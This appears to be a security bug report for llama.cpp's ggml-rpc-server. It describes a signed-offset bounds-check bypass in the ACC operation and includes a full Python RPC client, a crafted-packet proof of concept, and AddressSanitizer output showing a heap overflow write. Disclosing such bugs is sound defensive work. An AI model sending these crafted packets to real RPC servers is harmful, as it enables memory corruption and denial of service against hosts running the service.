ggml_compute_forward_acc_f32() reads nb1/nb2/nb3/offset from dst->op_params as signed int32 values stored into size_t, so a negative int32 sign-extends into a huge unsigned value. The single bounds check at ops.cpp:1203, GGML_ASSERT(offset + (ne11-1)*nb1 + (ne12-1)*nb2 + (ne13-1)*nb3 < ggml_nbytes(dst)), is only evaluated at the maximal corner index in wraparound 64-bit arithmetic. Choosing nb1 negative and nb2 positive so they cancel exactly at the corner passes the assert, while an earlier loop iteration at a different (i1,i2,i3) computes a genuinely out-of-range address that is never separately checked.
build-asan/bin/ggml-rpc-server -p 19005 &
sleep 1
cat > rpc_client.py <<'PYEOF'
import socket, struct
RPC_CMD_ALLOC_BUFFER=0; RPC_CMD_BUFFER_GET_BASE=3; RPC_CMD_FREE_BUFFER=4
RPC_CMD_SET_TENSOR=6; RPC_CMD_GET_TENSOR=8; RPC_CMD_GRAPH_COMPUTE=10
RPC_CMD_HELLO=14; RPC_CMD_GRAPH_RECOMPUTE=16
GGML_TENSOR_FLAG_COMPUTE=16
GGML_TYPE_F32=0; GGML_TYPE_I32=26; GGML_TYPE_I64=27
RPC_TENSOR_FMT="<QIQ4I4II16ii10QQQQ64s4s"
def pack_rpc_tensor(id_, type_, buffer, ne, nb, op, op_params, flags, src, view_src, view_offs, data, name):
ne=(list(ne)+[1,1,1,1])[:4]; nb=(list(nb)+[0,0,0,0])[:4]
op_params=(list(op_params)+[0]*16)[:16]; src=(list(src)+[0]*10)[:10]
name_b=name.encode()[:63].ljust(64,b"\x00")
return struct.pack(RPC_TENSOR_FMT, id_, type_, buffer, ne[0],ne[1],ne[2],ne[3],
nb[0],nb[1],nb[2],nb[3], op, *op_params, flags, *src, view_src, view_offs, data, name_b, b"\x00"*4)
def contig_nb(ne, ts):
return [ts, ts*ne[0], ts*ne[0]*ne[1], ts*ne[0]*ne[1]*ne[2]]
class RpcConn:
def __init__(self, host, port, timeout=10):
self.sock=socket.create_connection((host,port),timeout=timeout); self.sock.settimeout(timeout); self._hello()
def _sendall(self,b): self.sock.sendall(b)
def _recvall(self,n):
buf=b""
while len(buf)<n:
c=self.sock.recv(n-len(buf))
if not c: raise ConnectionError("closed %d/%d"%(len(buf),n))
buf+=c
return buf
def _hello(self):
self._sendall(bytes([RPC_CMD_HELLO])); self._sendall(struct.pack("<Q",24)); self._sendall(b"\x00"*24)
size=struct.unpack("<Q",self._recvall(8))[0]; self._recvall(size)
def cmd_no_rsp(self,cmd,payload):
self._sendall(bytes([cmd])); self._sendall(struct.pack("<Q",len(payload))); self._sendall(payload)
def cmd(self,cmd,payload):
self.cmd_no_rsp(cmd,payload); size=struct.unpack("<Q",self._recvall(8))[0]; return self._recvall(size)
def alloc_buffer(self,size,device=0): return struct.unpack("<QQ", self.cmd(RPC_CMD_ALLOC_BUFFER, struct.pack("<IQ",device,size)))
def buffer_get_base(self,ptr): return struct.unpack("<Q", self.cmd(RPC_CMD_BUFFER_GET_BASE, struct.pack("<Q",ptr)))[0]
def free_buffer(self,ptr): return self.cmd(RPC_CMD_FREE_BUFFER, struct.pack("<Q",ptr))
def set_tensor(self,t,off,data): self.cmd_no_rsp(RPC_CMD_SET_TENSOR, t+struct.pack("<Q",off)+data)
def get_tensor(self,t,off,size): return self.cmd(RPC_CMD_GET_TENSOR, t+struct.pack("<QQ",off,size))
def graph_compute(self,device,node_ids,tensors):
buf=struct.pack("<II",device,len(node_ids))
buf+=b"".join(struct.pack("<Q",i) for i in node_ids)
buf+=struct.pack("<I",len(tensors))+b"".join(tensors)
self.cmd_no_rsp(RPC_CMD_GRAPH_COMPUTE, buf)
def graph_recompute(self,device=0): self.cmd_no_rsp(RPC_CMD_GRAPH_RECOMPUTE, struct.pack("<I",device))
PYEOF
cat > vuln_005.py <<'PYEOF'
import sys, time
sys.path.insert(0,".")
from rpc_client import RpcConn, pack_rpc_tensor, contig_nb, GGML_TYPE_F32, GGML_TENSOR_FLAG_COMPUTE
GGML_OP_ACC=5
port=int(sys.argv[1]) if len(sys.argv)>1 else 19005
c=RpcConn("127.0.0.1",port)
BUF_SIZE=1<<16
ptr,_=c.alloc_buffer(BUF_SIZE); base=c.buffer_get_base(ptr)
ne_big=[16,16,1,1]; nb_big=contig_nb(ne_big,4)
dst_data=base+0; src0_data=base+4096; src1_data=base+8192
ne1=[4,5,2,1]; nb1_real=contig_nb(ne1,4)
src0=pack_rpc_tensor(1,GGML_TYPE_F32,ptr,ne_big,nb_big,0,[],0,[0]*10,0,0,src0_data,"src0")
src1=pack_rpc_tensor(2,GGML_TYPE_F32,ptr,ne1,nb1_real,0,[],0,[0]*10,0,0,src1_data,"src1")
op_params=[-1000,4000,0,0,0] # nb1=-1000, nb2=4000, nb3=0, offset=0, inplace=0
dst=pack_rpc_tensor(3,GGML_TYPE_F32,ptr,ne_big,nb_big,GGML_OP_ACC,op_params,GGML_TENSOR_FLAG_COMPUTE,[1,2]+[0]*8,0,0,dst_data,"dst")
print("sending GRAPH_COMPUTE ACC with crafted nb1=-1000/nb2=4000")
c.graph_compute(0,[3],[src0,src1,dst])
time.sleep(1)
try:
print("dst=", c.get_tensor(dst,0,32).hex())
except Exception as e:
print("connection failed (expected if server crashed):", e)
PYEOF
python3 vuln_005.py 19005
==1544655==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x531000014030
WRITE of size 4 at ... thread T4
#0 ggml_vec_add_f32 ggml/src/ggml-cpu/vec.h:100
#1 ggml_compute_forward_acc_f32 ggml/src/ggml-cpu/ops.cpp:1228
SUMMARY: AddressSanitizer: heap-buffer-overflow ggml/src/ggml-cpu/vec.h:100 in ggml_vec_add_f32
No GGML_ASSERT failure appears before the ASan report, confirming the bounds check was bypassed rather than tripped.
Name and Version
ggml-rpc-server, commit 14d3ba4 (tag b9994), built with -DGGML_SANITIZE_ADDRESS=ON -DCMAKE_BUILD_TYPE=Debug.
Operating systems
Linux
Which llama.cpp modules do you know to be affected?
Other (Please specify in the next section)
Command line
Problem description & steps to reproduce
ggml_compute_forward_acc_f32() reads nb1/nb2/nb3/offset from dst->op_params as signed int32 values stored into size_t, so a negative int32 sign-extends into a huge unsigned value. The single bounds check at ops.cpp:1203,
GGML_ASSERT(offset + (ne11-1)*nb1 + (ne12-1)*nb2 + (ne13-1)*nb3 < ggml_nbytes(dst)), is only evaluated at the maximal corner index in wraparound 64-bit arithmetic. Choosing nb1 negative and nb2 positive so they cancel exactly at the corner passes the assert, while an earlier loop iteration at a different (i1,i2,i3) computes a genuinely out-of-range address that is never separately checked.First Bad Commit
Not bisected. Confirmed present at 14d3ba4 (tag b9994).
Relevant log output
No GGML_ASSERT failure appears before the ASan report, confirming the bounds check was bypassed rather than tripped.